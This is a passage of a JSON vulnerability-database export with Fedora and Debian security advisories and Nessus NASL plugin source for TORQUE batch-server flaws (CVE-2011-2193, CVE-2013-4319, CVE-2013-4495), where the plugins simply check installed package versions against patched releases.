"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/DOEYNN7POF6BZSK3D5L64FUKWHBQDJIA/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:50", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2011-06-21T17:18:20", "type": "fedora", "title": "[SECURITY] Fedora 14 Update: torque-2.4.11-2.fc14", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2011-06-21T17:18:20", "id": "FEDORA:AC46C11157B", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/TA7XRGOXYQB7ULB22D4K24P5ESZBRQBD/", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:50", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2011-07-12T22:01:54", "type": "fedora", "title": "[SECURITY] Fedora 15 Update: torque-3.0.1-4.fc15", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2011-07-12T22:01:54", "id": "FEDORA:25E1710F987", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/6T3F3ALNLVMIM3O2FBFGIWDZVGGHSYIQ/", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:52", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2014-09-23T04:46:33", "type": "fedora", "title": "[SECURITY] Fedora 21 Update: torque-4.2.8-1.fc21", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2014-09-23T04:46:33", "id": "FEDORA:AFE5F20BD5", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/OAY4YP7IJSEFSK2WNSLJGSXARLPAV3ZA/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-01-18T14:39:25", "description": "Fix CVE-2013-4319 (RHBZ #1005918, #1005919)\n\nFix CVE-2013-4495: arbitrary code execution via job submission (RHBZ #1029752) Fix CVE-2013-4495: arbitrary code execution via job submission (RHBZ #1029752)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2014-10-20T00:00:00", "type": "nessus", "title": "Fedora 20 : torque-3.0.4-6.fc20 (2014-11989)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:torque", "cpe:/o:fedoraproject:fedora:20"], "id": "FEDORA_2014-11989.NASL", "href": "https://www.tenable.com/plugins/nessus/78565", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2014-11989.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(78565);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-4319\");\n script_xref(name:\"FEDORA\", value:\"2014-11989\");\n\n script_name(english:\"Fedora 20 : torque-3.0.4-6.fc20 (2014-11989)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Fix CVE-2013-4319 (RHBZ #1005918, #1005919)\n\nFix CVE-2013-4495: arbitrary code execution via job submission (RHBZ\n#1029752) Fix CVE-2013-4495: arbitrary code execution via job\nsubmission (RHBZ #1029752)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1005918\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-October/141123.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?41ea24c5\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected torque package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:20\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/10/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/10/20\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^20([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 20.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC20\", reference:\"torque-3.0.4-6.fc20\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"torque\");\n}\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-01-18T14:39:01", "description": "Fix CVE-2013-4319 (RHBZ #1005918, #1005919)\n\nFix CVE-2013-4495: arbitrary code execution via job submission (RHBZ #1029752) Fix CVE-2013-4495: arbitrary code execution via job submission (RHBZ #1029752)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2014-10-20T00:00:00", "type": "nessus", "title": "Fedora 19 : torque-3.0.4-5.fc19 (2014-12059)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:torque", "cpe:/o:fedoraproject:fedora:19"], "id": "FEDORA_2014-12059.NASL", "href": "https://www.tenable.com/plugins/nessus/78566", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2014-12059.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(78566);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-4319\");\n script_bugtraq_id(62273);\n script_xref(name:\"FEDORA\", value:\"2014-12059\");\n\n script_name(english:\"Fedora 19 : torque-3.0.4-5.fc19 (2014-12059)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Fix CVE-2013-4319 (RHBZ #1005918, #1005919)\n\nFix CVE-2013-4495: arbitrary code execution via job submission (RHBZ\n#1029752) Fix CVE-2013-4495: arbitrary code execution via job\nsubmission (RHBZ #1029752)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1005918\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2014-October/141126.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?e4acf9f6\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected torque package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:19\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/10/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/10/20\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^19([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 19.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC19\", reference:\"torque-3.0.4-5.fc19\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"torque\");\n}\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:34:26", "description": "This update fixes a buffer overflow that could allow for remote arbitrary code execution by a torque service. Credit to Bartlomiej Balcerek - CVE-2011-2193.\n\nWarning: Packages previous to torque-3.0.1-4.fc15 within Fedora 15 contained the empty file /var/lib/torque/server_priv/nodes . This file is a listing of the nodes within your torque cluster and as such it should survive intact with upgrades. This file has now been removed from the package with torque-3.0.1-4.fc15 but it is essential that you backup and restore this file before and then after installing torque-3.0.1-4.fc15.\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2011-07-13T00:00:00", "type": "nessus", "title": "Fedora 15 : torque-3.0.1-4.fc15 (2011-8072)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:torque", "cpe:/o:fedoraproject:fedora:15"], "id": "FEDORA_2011-8072.NASL", "href": "https://www.tenable.com/plugins/nessus/55578", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2011-8072.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(55578);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2011-2193\");\n script_bugtraq_id(48374);\n script_xref(name:\"FEDORA\", value:\"2011-8072\");\n\n script_name(english:\"Fedora 15 : torque-3.0.1-4.fc15 (2011-8072)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update fixes a buffer overflow that could allow for remote\narbitrary code execution by a torque service. Credit to Bartlomiej\nBalcerek - CVE-2011-2193.\n\nWarning: Packages previous to torque-3.0.1-4.fc15 within Fedora 15\ncontained the empty file /var/lib/torque/server_priv/nodes . This file\nis a listing of the nodes within your torque cluster and as such it\nshould survive intact with upgrades. This file has now been removed\nfrom the package with torque-3.0.1-4.fc15 but it is essential that you\nbackup and restore this file before and then after installing\ntorque-3.0.1-4.fc15.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=711463\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=713996\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=716659\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2011-July/062638.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?05f7ad3c\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected torque package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:ND/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:15\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2011/06/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2011/07/13\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2011-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^15([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 15.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC15\", reference:\"torque-3.0.1-4.fc15\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"torque\");\n}\n", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:37:11", "description": "Bartlomiej Balcerek discovered several buffer overflows in TORQUE server, a PBS-derived batch processing server. This allows an attacker to crash the service or execute arbitrary code with privileges of the server via crafted job or host names.\n\nThe oldstable distribution (lenny) does not contain torque.", "cvss3": {}, "published": "2011-10-28T00:00:00", "type": "nessus", "title": "Debian DSA-2329-1 : torque - buffer overflow", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:torque", "cpe:/o:debian:debian_linux:6.0"], "id": "DEBIAN_DSA-2329.NASL", "href": "https://www.tenable.com/plugins/nessus/56662", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-2329. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(56662);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2011-2193\");\n script_bugtraq_id(48374);\n script_xref(name:\"DSA\", value:\"2329\");\n\n script_name(english:\"Debian DSA-2329-1 : torque - buffer overflow\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Bartlomiej Balcerek discovered several buffer overflows in TORQUE\nserver, a PBS-derived batch processing server. This allows an attacker\nto crash the service or execute arbitrary code with privileges of the\nserver via crafted job or host names.\n\nThe oldstable distribution (lenny) does not contain torque.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/squeeze/torque\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2011/dsa-2329\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the torque packages.\n\nFor the stable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze1.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:torque\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:6.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2011/10/27\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2011/10/28\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2011-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"libtorque2-dev\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-client-x11\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-common\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-mom\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-pam\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-scheduler\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\nif (deb_check(release:\"6.0\", prefix:\"torque-server\", reference:\"2.4.8+dfsg-9squeeze1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-01-11T14:33:38", "description": "This update fixes a buffer overflow that could allow for remote arbitrary code execution by a torque service. Credit to Bartlomiej Balcerek - CVE-2011-2193.\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {}, "published": "2011-06-22T00:00:00", "type": "nessus", "title": "Fedora 14 : torque-2.4.11-2.fc14 (2011-8117)", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:torque", "cpe:/o:fedoraproject:fedora:14"], "id": "FEDORA_2011-8117.NASL", "href": "https://www.tenable.com/plugins/nessus/55394", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2011-8117.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(55394);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2011-2193\");\n script_xref(name:\"FEDORA\", value:\"2011-8117\");\n\n script_name(english:\"Fedora 14 : torque-2.4.11-2.fc14 (2011-8117)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", 